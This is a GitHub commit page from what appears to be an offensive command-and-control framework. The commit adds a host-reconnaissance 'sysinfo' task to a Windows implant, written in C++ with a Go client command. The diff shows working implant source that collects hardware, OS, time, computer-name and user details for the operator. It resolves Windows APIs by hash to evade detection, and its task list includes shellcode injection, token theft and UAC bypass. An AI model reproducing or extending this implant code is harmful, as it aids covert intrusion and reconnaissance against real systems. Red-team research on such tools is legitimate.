Skip to content

Commit

Permalink
added the sysinfo task for implant
Browse files Browse the repository at this point in the history
  • Loading branch information
hideckies committed Jul 23, 2024
1 parent 1fec6b9 commit b874e9f
Show file tree
Hide file tree
Showing 12 changed files with 227 additions and 23 deletions.
1 change: 1 addition & 0 deletions payload/win/implant/CMakeLists.txt
Original file line number Diff line number Diff line change
Expand Up @@ -118,6 +118,7 @@ set(SOURCE_CORE
src/core/task/screenshot.cpp
src/core/task/shellcode.cpp
src/core/task/sleep.cpp
src/core/task/sysinfo.cpp
src/core/task/token.cpp
src/core/task/uac.cpp
src/core/task/upload.cpp
Expand Down
17 changes: 17 additions & 0 deletions payload/win/implant/include/core/procs.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,7 @@
#include <dbghelp.h>
#include <string>
#include <strsafe.h>
#include <sysinfoapi.h>

// They're used for calculating module/func hashes.
#define HASH_IV 0x35
Expand Down Expand Up @@ -107,9 +108,11 @@
#define HASH_FUNC_FREELIBRARY 0x26174ba
#define HASH_FUNC_GETADAPTERSADDRESSES 0xc7179a9d
#define HASH_FUNC_GETCOMPUTERNAMEW 0x75f9dd70
#define HASH_FUNC_GETCOMPUTERNAMEEXW 0xc154e2bd
#define HASH_FUNC_GETENVIRONMENTSTRINGSW 0x6f39aea7
#define HASH_FUNC_GETFOREGROUNDWINDOW 0x41b94f14
#define HASH_FUNC_GETLASTERROR 0xf03e69b1
#define HASH_FUNC_GETLOCALTIME 0xdb736df7
#define HASH_FUNC_GETMESSAGE 0xb704bce6
#define HASH_FUNC_GETMODULEFILENAMEW 0x9896e0e3
#define HASH_FUNC_GETMODULEHANDLEA 0xbf3b40ac
Expand All @@ -121,8 +124,10 @@
#define HASH_FUNC_GETSYSTEMMETRICS 0xc45b24b3
#define HASH_FUNC_GETSYSTEMTIME 0x3498cb5d
#define HASH_FUNC_GETTCPTABLE 0x7f7271ee
#define HASH_FUNC_GETTICKCOUNT 0x18335d91
#define HASH_FUNC_GETTOKENINFORMATION 0x98171074
#define HASH_FUNC_GETUSERNAMEW 0x6f996540
#define HASH_FUNC_GETVERSIONEXW 0xd4a6794d
#define HASH_FUNC_GLOBALALLOC 0x25c2f9dd
#define HASH_FUNC_GLOBALFREE 0xcf0cfc4
#define HASH_FUNC_HEAPALLOC 0x4cb68674
Expand Down Expand Up @@ -370,12 +375,16 @@ namespace Procs
typedef ULONG (WINAPI* LPPROC_GETADAPTERSADDRESSES)(ULONG Family, ULONG Flags, PVOID Reserved, Win32::PIP_ADAPTER_ADDRESSES AdapterAddresses, PULONG SizePointer);
// GetComputerNameW
typedef BOOL (WINAPI* LPPROC_GETCOMPUTERNAMEW)(LPWSTR lpBuffer, LPDWORD nSize);
// GetComputerNameExW
typedef BOOL (WINAPI* LPPROC_GETCOMPUTERNAMEEXW)(COMPUTER_NAME_FORMAT NameType, LPWSTR lpBuffer, LPDWORD nSize);
// GetEnvironmentStringsW
typedef LPWCH (WINAPI* LPPROC_GETENVIRONMENTSTRINGSW)();
// GetForegroundWindow
typedef HWND (WINAPI* LPPROC_GETFOREGROUNDWINDOW)();
// GetLastError
typedef DWORD (WINAPI* LPPROC_GETLASTERROR)();
// GetLocalTime
typedef VOID (WINAPI* LPPROC_GETLOCALTIME)(LPSYSTEMTIME lpSystemTime);
// GetMessage
typedef BOOL (WINAPI* LPPROC_GETMESSAGE)(LPMSG lpMsg, HWND hWnd, UINT wMsgFilterMin, UINT wMsgFilterMax);
// GetModuleFileNameW
Expand All @@ -398,10 +407,14 @@ namespace Procs
typedef VOID (WINAPI* LPPROC_GETSYSTEMTIME)(LPSYSTEMTIME lpSystemTime);
// GetTcpTable
typedef ULONG (WINAPI* LPPROC_GETTCPTABLE)(Win32::PMIB_TCPTABLE TcpTable, PULONG SizePointer, BOOL Order);
// GetTickCount
typedef DWORD (WINAPI* LPPROC_GETTICKCOUNT)();
// GetTokenInformation
typedef BOOL (WINAPI* LPPROC_GETTOKENINFORMATION)(HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength);
// GetUserNameW
typedef BOOL (WINAPI* LPPROC_GETUSERNAMEW)(LPWSTR lpBuffer, LPDWORD pcbBuffer);
// GetVersionExW
typedef BOOL (WINAPI* LPPROC_GETVERSIONEXW)(LPOSVERSIONINFOEXW lpVersionInformation);
// GlobalAlloc
typedef HGLOBAL (WINAPI* LPPROC_GLOBALALLOC)(UINT uFlags, SIZE_T dwBytes);
// GlobalFree
Expand Down Expand Up @@ -631,9 +644,11 @@ namespace Procs
LPPROC_FREELIBRARY lpFreeLibrary = nullptr;
LPPROC_GETADAPTERSADDRESSES lpGetAdaptersAddresses = nullptr;
LPPROC_GETCOMPUTERNAMEW lpGetComputerNameW = nullptr;
LPPROC_GETCOMPUTERNAMEEXW lpGetComputerNameExW = nullptr;
LPPROC_GETENVIRONMENTSTRINGSW lpGetEnvironmentStringsW = nullptr;
LPPROC_GETFOREGROUNDWINDOW lpGetForegroundWindow = nullptr;
LPPROC_GETLASTERROR lpGetLastError = nullptr;
LPPROC_GETLOCALTIME lpGetLocalTime = nullptr;
LPPROC_GETMESSAGE lpGetMessage = nullptr;
LPPROC_GETMODULEFILENAMEW lpGetModuleFileNameW = nullptr;
LPPROC_GETMODULEHANDLEA lpGetModuleHandleA = nullptr;
Expand All @@ -645,8 +660,10 @@ namespace Procs
LPPROC_GETSYSTEMMETRICS lpGetSystemMetrics = nullptr;
LPPROC_GETSYSTEMTIME lpGetSystemTime = nullptr;
LPPROC_GETTCPTABLE lpGetTcpTable = nullptr;
LPPROC_GETTICKCOUNT lpGetTickCount = nullptr;
LPPROC_GETTOKENINFORMATION lpGetTokenInformation = nullptr;
LPPROC_GETUSERNAMEW lpGetUserNameW = nullptr;
LPPROC_GETVERSIONEXW lpGetVersionExW = nullptr;
LPPROC_GLOBALALLOC lpGlobalAlloc = nullptr;
LPPROC_GLOBALFREE lpGlobalFree = nullptr;
LPPROC_HEAPALLOC lpHeapAlloc = nullptr;
Expand Down
19 changes: 12 additions & 7 deletions payload/win/implant/include/core/task.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,10 @@
#include <strsafe.h>
#include <synchapi.h>
#include <chrono>
#include <iostream>
#include <iomanip>
#include <map>
#include <sstream>
#include <string>
#include <vector>

Expand Down Expand Up @@ -77,13 +80,14 @@
#define TASK_SCREENSHOT 0x38
#define TASK_SHELLCODE 0x39
#define TASK_SLEEP 0x40
#define TASK_TOKEN_REVERT 0x41
#define TASK_TOKEN_STEAL 0x42
#define TASK_UAC 0x43
#define TASK_UPLOAD 0x44
#define TASK_USER_LS 0x45
#define TASK_WHOAMI 0x46
#define TASK_WHOAMI_PRIV 0x47
#define TASK_SYSINFO 0x41
#define TASK_TOKEN_REVERT 0x42
#define TASK_TOKEN_STEAL 0x43
#define TASK_UAC 0x44
#define TASK_UPLOAD 0x45
#define TASK_USER_LS 0x46
#define TASK_WHOAMI 0x47
#define TASK_WHOAMI_PRIV 0x48

namespace Task
{
Expand Down Expand Up @@ -174,6 +178,7 @@ namespace Task
std::wstring Screenshot(State::PSTATE pState);
std::wstring Shellcode(State::PSTATE pState, const std::wstring& wPid, const std::wstring& wSrc, const std::wstring& wTechnique);
std::wstring SleepSet(State::PSTATE pState, const std::wstring& wSleep);
std::wstring Sysinfo(State::PSTATE pState);
std::wstring TokenRevert(State::PSTATE pState);
std::wstring TokenSteal(State::PSTATE pState, const std::wstring& wPid, const std::wstring& wProcName, bool bLogin);
std::wstring Uac(State::PSTATE pState, const std::wstring& wTechnique);
Expand Down
3 changes: 3 additions & 0 deletions payload/win/implant/include/core/utils.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -22,6 +22,9 @@ namespace Utils::Convert
// string (UTF8) -> wstring
std::wstring UTF8Decode(const std::string& str);

// WORD (unsigned short) -> wstring
std::wstring WORDToWstring(WORD wSrc);

// wstring -> DWORD (unsigned long)
DWORD WstringToDWORD(const std::wstring& wstr, int base);
// DWORD (unsigned long) -> wstring
Expand Down
4 changes: 4 additions & 0 deletions payload/win/implant/script/calc_hash_func.py
Original file line number Diff line number Diff line change
Expand Up @@ -90,9 +90,11 @@
"FreeLibrary",
"GetAdaptersAddresses",
"GetComputerNameW",
"GetComputerNameExW",
"GetEnvironmentStringsW",
"GetForegroundWindow",
"GetLastError",
"GetLocalTime",
"GetMessage",
"GetModuleFileNameW",
"GetModuleHandleA",
Expand All @@ -104,8 +106,10 @@
"GetSystemMetrics",
"GetSystemTime",
"GetTcpTable",
"GetTickCount",
"GetTokenInformation",
"GetUserNameW",
"GetVersionExW",
"GlobalAlloc",
"GlobalFree",
"HeapAlloc",
Expand Down
3 changes: 3 additions & 0 deletions payload/win/implant/src/core/handler.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -357,6 +357,9 @@ namespace Handler
case TASK_SLEEP:
wTaskResult = Task::SleepSet(pState, Utils::Convert::UTF8Decode(args["time"]));
break;
case TASK_SYSINFO:
wTaskResult = Task::Sysinfo(pState);
break;
case TASK_TOKEN_REVERT:
wTaskResult = Task::TokenRevert(pState);
break;
Expand Down
8 changes: 8 additions & 0 deletions payload/win/implant/src/core/procs.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -187,10 +187,14 @@ namespace Procs
pProcs->lpFreeLibrary = reinterpret_cast<LPPROC_FREELIBRARY>(pFreeLibrary);
PVOID pGetComputerNameW = GetProcAddressByHash(hKernel32, HASH_FUNC_GETCOMPUTERNAMEW);
pProcs->lpGetComputerNameW = reinterpret_cast<LPPROC_GETCOMPUTERNAMEW>(pGetComputerNameW);
PVOID pGetComputerNameExW = GetProcAddressByHash(hKernel32, HASH_FUNC_GETCOMPUTERNAMEEXW);
pProcs->lpGetComputerNameExW = reinterpret_cast<LPPROC_GETCOMPUTERNAMEEXW>(pGetComputerNameExW);
PVOID pGetEnvironmentStringsW = GetProcAddressByHash(hKernel32, HASH_FUNC_GETENVIRONMENTSTRINGSW);
pProcs->lpGetEnvironmentStringsW = reinterpret_cast<LPPROC_GETENVIRONMENTSTRINGSW>(pGetEnvironmentStringsW);
PVOID pGetLastError = GetProcAddressByHash(hKernel32, HASH_FUNC_GETLASTERROR);
pProcs->lpGetLastError = reinterpret_cast<LPPROC_GETLASTERROR>(pGetLastError);
PVOID pGetLocalTime = GetProcAddressByHash(hKernel32, HASH_FUNC_GETLOCALTIME);
pProcs->lpGetLocalTime = reinterpret_cast<LPPROC_GETLOCALTIME>(pGetLocalTime);
PVOID pGetModuleFileNameW = GetProcAddressByHash(hKernel32, HASH_FUNC_GETMODULEFILENAMEW);
pProcs->lpGetModuleFileNameW = reinterpret_cast<LPPROC_GETMODULEFILENAMEW>(pGetModuleFileNameW);
PVOID pGetModuleHandleA = GetProcAddressByHash(hKernel32, HASH_FUNC_GETMODULEHANDLEA);
Expand All @@ -207,6 +211,10 @@ namespace Procs
pProcs->lpGetSystemInfo = reinterpret_cast<LPPROC_GETSYSTEMINFO>(pGetSystemInfo);
PVOID pGetSystemTime = GetProcAddressByHash(hKernel32, HASH_FUNC_GETSYSTEMTIME);
pProcs->lpGetSystemTime = reinterpret_cast<LPPROC_GETSYSTEMTIME>(pGetSystemTime);
PVOID pGetTickCount = GetProcAddressByHash(hKernel32, HASH_FUNC_GETTICKCOUNT);
pProcs->lpGetTickCount = reinterpret_cast<LPPROC_GETTICKCOUNT>(pGetTickCount);
PVOID pGetVersionExW = GetProcAddressByHash(hKernel32, HASH_FUNC_GETVERSIONEXW);
pProcs->lpGetVersionExW = reinterpret_cast<LPPROC_GETVERSIONEXW>(pGetVersionExW);
PVOID pGlobalAlloc = GetProcAddressByHash(hKernel32, HASH_FUNC_GLOBALALLOC);
pProcs->lpGlobalAlloc = reinterpret_cast<LPPROC_GLOBALALLOC>(pGlobalAlloc);
PVOID pGlobalFree = GetProcAddressByHash(hKernel32, HASH_FUNC_GLOBALFREE);
Expand Down
133 changes: 133 additions & 0 deletions payload/win/implant/src/core/task/sysinfo.cpp
Original file line number Diff line number Diff line change
@@ -0,0 +1,133 @@
#include "core/task.hpp"

namespace Task
{
std::wstring Sysinfo(State::PSTATE pState)
{
std::wstring wResult = L"";

// ----------------------------------------------
// Hardware
// ----------------------------------------------

SYSTEM_INFO si;
pState->pProcs->lpGetSystemInfo(&si);

wResult += L"Hardware:\n";
wResult += L" OEM ID: " + Utils::Convert::DWORDToWstring(si.dwOemId) + L"\n";
wResult += L" Number of Processors: " + Utils::Convert::DWORDToWstring(si.dwNumberOfProcessors) + L"\n";
wResult += L" Processor Type: " + Utils::Convert::DWORDToWstring(si.dwProcessorType) + L"\n";
wResult += L" Processor Level: " + Utils::Convert::WORDToWstring(si.wProcessorLevel) + L"\n";
wResult += L" Processor Revision: " + Utils::Convert::WORDToWstring(si.wProcessorRevision) + L"\n";
wResult += L" Page Size: " + Utils::Convert::DWORDToWstring(si.dwPageSize) + L"\n";
// Minimum Application Address
uintptr_t pMinAppAddr = reinterpret_cast<uintptr_t>(si.lpMinimumApplicationAddress);
std::wstringstream ssMinAppAddr;
ssMinAppAddr << std::hex << std::setfill(L'0') << std::setw(sizeof(uintptr_t) * 2) << pMinAppAddr;
std::wstring wMinAppAddr = L"0x" + ssMinAppAddr.str();
wResult += L" Minimum Application Address: " + wMinAppAddr + L"\n";
// Maximum Application Address
uintptr_t pMaxAppAddr = reinterpret_cast<uintptr_t>(si.lpMaximumApplicationAddress);
std::wstringstream ssMaxAppAddr;
ssMaxAppAddr << std::hex << std::setfill(L'0') << std::setw(sizeof(uintptr_t) * 2) << pMaxAppAddr;
std::wstring wMaxAppAddr = L"0x" + ssMaxAppAddr.str();
wResult += L" Maximum Application Address: " + std::wstring(wMaxAppAddr) + L"\n";
wResult += L" Active Processor Mask: " + Utils::Convert::DWORDToWstring(si.dwActiveProcessorMask) + L"\n";

// ----------------------------------------------
// OS Version
// ----------------------------------------------

OSVERSIONINFOEXW osvi;
RtlZeroMemory(&osvi, sizeof(OSVERSIONINFOEXW));
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXW);

pState->pProcs->lpGetVersionExW(&osvi);

wResult += L"OS Version:\n";
wResult += L" OS Version Information Size: " + Utils::Convert::DWORDToWstring(osvi.dwOSVersionInfoSize) + L"\n";
wResult += L" Major Version: " + Utils::Convert::DWORDToWstring(osvi.dwMajorVersion) + L"\n";
wResult += L" Minor Version: " + Utils::Convert::DWORDToWstring(osvi.dwMinorVersion) + L"\n";
wResult += L" Build Number: " + Utils::Convert::DWORDToWstring(osvi.dwBuildNumber) + L"\n";
wResult += L" Platform ID: " + Utils::Convert::DWORDToWstring(osvi.dwPlatformId) + L"\n";
wResult += L" CSD Version: " + std::wstring(osvi.szCSDVersion) + L"\n";
wResult += L" Suite Mask: " + Utils::Convert::WORDToWstring(osvi.wSuiteMask) + L"\n";

// ----------------------------------------------
// System & Local Time
// ----------------------------------------------

SYSTEMTIME st, lt;
pState->pProcs->lpGetSystemTime(&st);
pState->pProcs->lpGetLocalTime(&lt);

wResult += L"System Time: " +
Utils::Convert::WORDToWstring(st.wYear) + L"/" +
Utils::Convert::WORDToWstring(st.wMonth) + L"/" +
Utils::Convert::WORDToWstring(st.wDay) + L" " +
Utils::Convert::WORDToWstring(st.wHour) + L":" +
Utils::Convert::WORDToWstring(st.wMinute) + L":" +
Utils::Convert::WORDToWstring(st.wSecond) + L"." +
Utils::Convert::WORDToWstring(st.wMilliseconds) + L"\n";
wResult += L"Local Time: " +
Utils::Convert::WORDToWstring(lt.wYear) + L"/" +
Utils::Convert::WORDToWstring(lt.wMonth) + L"/" +
Utils::Convert::WORDToWstring(lt.wDay) + L" " +
Utils::Convert::WORDToWstring(lt.wHour) + L":" +
Utils::Convert::WORDToWstring(lt.wMinute) + L":" +
Utils::Convert::WORDToWstring(lt.wSecond) + L"." +
Utils::Convert::WORDToWstring(lt.wMilliseconds) + L"\n";

// ----------------------------------------------
// Elapsed Time from System Boot
// ----------------------------------------------

DWORD dwElapsedTimeMS = pState->pProcs->lpGetTickCount();
// Convert milliseconds to seconds (float)
DWORD dwElapsedTimeS = dwElapsedTimeMS / 1000;
wResult += L"Elasped Time from System Boot: " + Utils::Convert::DWORDToWstring(dwElapsedTimeS) + L"s\n";

// ----------------------------------------------
// Computer Name
// ----------------------------------------------

WCHAR szComputerItems[8][32] = {
L"NetBIOS",
L"DNS Hostname",
L"DNS Domain",
L"DNS Fully-Qualified",
L"Physical NetBIOS",
L"Physical DNS Hostname",
L"Physical DNS Domain",
L"Physical DNS Fully-Qualified"
};

WCHAR wBufComputer[INFO_BUFFER_SIZE] = {'\0'};
DWORD dwBufSizeComputer = INFO_BUFFER_SIZE;

int cnf = 0;

wResult += L"Computer Name:\n";
for (cnf = 0; cnf < 8; cnf++)
{
if (pState->pProcs->lpGetComputerNameExW((COMPUTER_NAME_FORMAT)cnf, wBufComputer, &dwBufSizeComputer))
{
wResult += L" " + std::wstring(szComputerItems[cnf]) + L": " + std::wstring(wBufComputer) + L"\n";
}
}

// ----------------------------------------------
// User Name
// ----------------------------------------------

WCHAR wBufUser[INFO_BUFFER_SIZE] = {'\0'};
DWORD dwBufSizeUser = INFO_BUFFER_SIZE;

if (pState->pProcs->lpGetUserNameW(wBufUser, &dwBufSizeUser))
{
wResult += L"User Name: " + std::wstring(wBufUser) + L"\n";
}

return wResult;
}
}
8 changes: 8 additions & 0 deletions payload/win/implant/src/core/utils/convert.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -81,6 +81,14 @@ namespace Utils::Convert
return wstrTo;
}

// WORD (unsigned short) -> wstring
std::wstring WORDToWstring(WORD wSrc)
{
std::string sSrc = std::to_string(wSrc);
std::wstring wDest = UTF8Decode(sSrc);
return wDest;
}

// wstring -> DWORD (unsigned long)
DWORD WstringToDWORD(const std::wstring& wStr, int base)
{
Expand Down
20 changes: 20 additions & 0 deletions pkg/common/parser/amtaskcommand.go
Original file line number Diff line number Diff line change
Expand Up @@ -1072,6 +1072,26 @@ func (c *amTaskSleepCmd) Run(
return nil
}

// SYSINFO
type amTaskSysinfoCmd struct{}

func (c *amTaskSysinfoCmd) Run(
ctx *kong.Context,
serverState *servState.ServerState,
clientState *cliState.ClientState,
) error {
task, err := _task.NewTask(ctx.Args[0], map[string]string{})
if err != nil {
return err
}

err = handler.HandleAmTaskSet(task, serverState, clientState)
if err != nil {
return err
}
return nil
}

// TOKEN
type amTaskTokenRevertCmd struct{}

Expand Down
Loading

0 comments on commit b874e9f

Please sign in to comment.